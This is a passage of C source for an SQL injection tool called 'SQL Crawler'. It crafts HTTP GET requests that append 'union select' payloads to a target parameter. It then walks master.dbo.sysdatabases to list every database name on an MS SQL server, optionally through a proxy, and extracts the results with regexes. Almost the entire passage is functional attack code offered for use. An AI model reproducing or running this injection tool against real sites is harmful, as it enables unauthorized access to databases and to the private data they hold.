         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n%s%s%%20union%%20select%%20", cfgopts.url, hostname, cookie, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len);
     }
  }
 
  /* start teh first tmpbuf cos like its different than the second one which will be used for the non-count/name, shit i fucking stopped caring */
  /****************/
 
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(numb);
         strncat(tmpbuf2, numb, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf2, numbs, len);
  }
  /* so basically our buff looks like &heh=1 union select count(count(*)%20as%20char(15))%20" ... */
  /* end tmpbuf                                                                                         */
  /******************************************************************************************************/
 
 
 
 
  /* tmpbuf numero deuce HAHA DEUCE WHAT THE DEUCE? HAHAHAHA */
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(name);
         strncat(tmpbuf3, name, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf3, names, len);
  }
  /* now tmpbuf3 looks like union select name ... */
  /* heh                                          */
  /************************************************/
 
 
 
  len = strlen(tmpbuf2);
  strncpy(sendbuf, tmpbuf2, len); // copy everything from tmpbuf2 into our sendbuf (for our first request)
 
  snprintf(tmpbuf, sizeof(tmpbuf), "from%%20master.dbo.sysdatabases");
 
  len = strlen(tmpbuf);
  strncat(sendbuf, tmpbuf, len); // tack the from shit onto the end of our sendbuf
 
 
  if (debug == 1) {
     printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
     printf("%s\n", sendbuf);
     printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
  }
 
  db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
  if (debug == 1) {
     printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
     printf("%s", recvbuf);
     printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
  }
 
  if (stripdata(recvbuf, data_to_add) == 1) {
      fprintf(stderr, "Error finding the number of databases\n");
      exit(2);
  }
 
  /* here we malloc the db[] to whatever we got as a return result this way we know zactly how many db's */
  numb_db = strtoul(data_to_add, NULL, 0);
  db = (datab_t *)malloc(sizeof(datab_t)*numb_db);
  if (db == NULL) {
     fprintf(stderr, "Error mallocing db ;/\n");
     exit(3);
  }
 
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
 
  len = strlen(tmpbuf3);                // member the tmpbuf3 we made? :D
  strncpy(sendbuf, tmpbuf3, len);       // now our sendbuf is setup for name type request
 
 
  len = strlen(tmpbuf);
  strncat(sendbuf, tmpbuf, len); // tack this on again
 
  if (debug == 1) {
     printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
     printf("%s\n", sendbuf);
     printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
  }
 
  db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
  if (debug == 1) {
     printf("\n\n---------------------------1st name Results---------------------------------------------\n");
     printf("%s", recvbuf);
     printf("\n\n---------------------------1st name Results---------------------------------------------\n");
  }
  if (stripdata(recvbuf, data_to_add) == 1) {
      fprintf(stderr, "Error finding the database name\n");
      exit(2);
  }
        memcpy(&db[0].dbname, data_to_add, BUF); // we should have our first name in db[0].dbname probably 'master'
 
        memset(data_to_add, 0, 500);
        bzero(&recvbuf, sizeof(recvbuf));
        bzero(&tmpbuf, sizeof(tmpbuf));
        bzero(&sendbuf, sizeof(sendbuf));
 
        len = strlen(tmpbuf3);
        strncat(sendbuf, tmpbuf3, len);
 
        snprintf(tmpbuf, sizeof(tmpbuf), "from%%20master.dbo.sysdatabases%%20where%%20name<>\'%s\'", db[0].dbname);
 
        len = strlen(tmpbuf);
        strncat(sendbuf, tmpbuf, len);
 
        if (debug == 1) {
           printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
           printf("%s\n", sendbuf);
           printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
        }
 
        db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
        if (debug == 1) {
           printf("\n\n-------------------------------Where name results-----------------------------------------\n");
           printf("%s", recvbuf);
           printf("\n\n-------------------------------Where name results-----------------------------------------\n");
        }
 
        if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
           fprintf(stderr, "Error finding the database name\n");
           exit(2);
        }
        bzero(&tmpbuf, sizeof(tmpbuf));
 
        /* START THE FUCKING LLOPPWPEOIEWURWEOPIURWET */
        for (i = 1; i <= numb_db; i++) {                        // Starting at 1 cos we have master in db[0], this fucked me up for a while heh :D
            memcpy(&db[i].dbname, data_to_add, BUF);
            memset(data_to_add, 0, 500);
            snprintf(tmpbuf, sizeof(tmpbuf), "%%20and%%20name%%20<>\'%s\'", db[i].dbname);
            len = strlen(tmpbuf);
            strncat(sendbuf, tmpbuf, len);
 
            bzero(&recvbuf, sizeof(recvbuf));
            bzero(&tmpbuf, sizeof(tmpbuf));
            memset(data_to_add, 0, 500);
 
            if (debug == 1) {
               printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
               printf("%s\n", sendbuf);
               printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
            }
 
            db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
            if (debug == 1) {
               printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
               printf("%s", recvbuf);
               printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
            }
 
            if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
                fprintf(stderr, "Error finding the database name, We MUST BE DONE HAAHAHAH\n");
                break;
            }
        }
 
  return(0);
}
 
 
 
 
/*****************/
/* gaktz strntok */
/*****************/
 
int my_strntok(char *string,char *delim,char *dest, int destsize) {
        char *dptr;
        static char *sptr,*origstr;
        int found;
 
        if(string!=(char *)NULL) {
                sptr = string;
                origstr = string;
        }
 
        found=0;
 
        while((*sptr)&&(!found)) {
                dptr = delim;
                while((*sptr)&&(*dptr)&&(!found))
                        found = *sptr == *dptr++;
                if(!found)
                        sptr++;
        }
 
        if(!found) {
                return 0;
        }
 
        if(dest!=(char *)NULL) {
 
                if(sptr-origstr >= destsize) {
                        return 0;
                }
                memcpy(dest,origstr,sptr-origstr);
                dest[sptr-origstr] = 0;
        }
 
        sptr++;
        origstr = sptr;
 
        return 1;
}
 
int stripdata(char *recvbuf, char *data_to_add)
{
  const char *error;
  pcre *re;
  int erroffset;
  int ovector[OVECCOUNT];
  int rc, i;
  char tmpbuf[400]; 
  char *src,*dst;
 
  bzero(&tmpbuf, sizeof(tmpbuf));
 
  re = pcre_compile(
  //"Got product (.*)\\sThis product",
  cfgopts.regex,
  0,
  &error,
  &erroffset,
  NULL);
 
if (re == NULL)
   {
     printf("PCRE compilation failed: %s\n", error);
     return(1);
   }
 
rc = pcre_exec(
  re,
  NULL,
  recvbuf,
  (int)strlen(recvbuf),
  0,
  0,
  ovector,
  OVECCOUNT);
 
 
if (rc < 0)
  {
  switch(rc)
    {
    case PCRE_ERROR_NOMATCH: printf("No match\n"); break;
    default: if (debug == 1) printf("Matching error %d\n", rc); break;
    }
  return 1;
  }
 
for (i = 0; i < rc; i++)
  {
  char *substring_start = recvbuf + ovector[2*i];
  int substring_length = ovector[2*i+1] - ovector[2*i];
  snprintf(tmpbuf, sizeof(tmpbuf), "%.*s", substring_length, substring_start);
  if (debug == 1) { 
     printf("\nHEHEHEH:%2d: %.*s\n", i, substring_length, substring_start);
  }
  }
  if (tmpbuf == NULL) {
     return(1);
  }
 
 src = tmpbuf;
 dst = data_to_add;
 while(*src) {
         if(*src == ' ') {
                 *dst++ = '%';
                 *dst++ = '2';
                 *dst++ = '0';
                 src++;
         } else {
                 *dst++ = *src++;
         }
 }
*dst = 0;
 
  return(0);
}
 
 
int check_done(char *recvbuf)
{
  const char *error;
  pcre *re;
  int erroffset;
  int ovector[OVECCOUNT];
  int rc;
 
  re = pcre_compile(
  cfgopts.doneregex,
  0,
  &error,
  &erroffset,
  NULL);
 
if (re == NULL)
   {
     if (debug == 1) printf("PCRE compilation failed: %s\n", error);
     return(1);
   }
 
rc = pcre_exec(
  re,
  NULL,
  recvbuf,
  (int)strlen(recvbuf),
  0,
  0,
  ovector,
  OVECCOUNT);
 
      if (rc < 0)
           {
           switch(rc)
             {
             case PCRE_ERROR_NOMATCH: if (debug == 1) printf("No match\n"); return (0); break;
             default: if (debug == 1) printf("Matching error %d\n", rc); break;
             }
           return 1;
           }
 
         printf("Match succeeded\n");
 
 
         if (rc == 0)
           {
           rc = OVECCOUNT/3;
           if (debug == 1) printf("ovector only has room for %d captured substrings\n", rc - 1);
           }
 
 
  return(1);
}
 
int resolve(char *hostname)
{
        struct hostent *res;
 
        if (proxy_use == 1) {
  	   if(inet_pton(AF_INET, hostname, &proxyaddr.sin_addr)) {
              if ((res = gethostbyname(hostname)) == NULL) {
                 return(0);
              } 
              memcpy(&proxyaddr.sin_addr.s_addr, res->h_addr, res->h_length);
              return(1);
           }
        } else {
           if (inet_pton(AF_INET, hostname, &servaddr.sin_addr) <= 0) {
               if ((res = gethostbyname(hostname)) == NULL) {
		   return(0);
	       } 
 	       memcpy(&servaddr.sin_addr.s_addr, res->h_addr, res->h_length);
               return(1);
           }
        }
  return(1);
}
 
 
 
int usage(int argc, char **argv)
{
  fprintf(stderr, "\n\n\tSQL Crawler by [email protected]\n");
  fprintf(stderr, "\n\tUsage: %s [-x <proxy> -t <proxy port>]  <host> -p <port>\n", argv[0]);
  fprintf(stderr, "\t\t-x and -t are optional\n\n"); 
  return(1);
}
 
int db_send_data(int sockfd, char *sendbuf, char *recvbuf, char *hostname, char *cookie)
{
  char headerbuf[350];
 
 
  bzero(&headerbuf, sizeof(headerbuf));
    if (proxy_use == 1) {
       snprintf(headerbuf, sizeof(headerbuf), " HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n\r\n", hostname, cookie);
    } else {
       snprintf(headerbuf, sizeof(headerbuf), " HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n\r\n", hostname, cookie);
    }
 
 
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
       perror("heh socket probz");
       exit(7);
    }
 
	if (proxy_use == 1) {
     	   if (connect(sockfd, (struct sockaddr *)&proxyaddr, sizeof(proxyaddr)) < 0) {
	      perror("connect proxy issues!\n");
	      exit(7);
	   }
        } else {
           if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
              perror("connect issues!");
              exit(7);
           }
	}
 
        if (cfgopts.postget == 1) {
	   send(sockfd, sendbuf, strlen(sendbuf),0);
           send(sockfd, cfgopts.end, strlen(cfgopts.end),0);
           recv(sockfd, recvbuf, BIGBUF,0);
        } else {
           send(sockfd, sendbuf, strlen(sendbuf),0);
           send(sockfd, cfgopts.end, strlen(cfgopts.end),0);
           send(sockfd, headerbuf, strlen(headerbuf),0);
           recv(sockfd, recvbuf, BIGBUF,0);
        }
 
       close(sockfd);
 
  return(0);
}
 

Back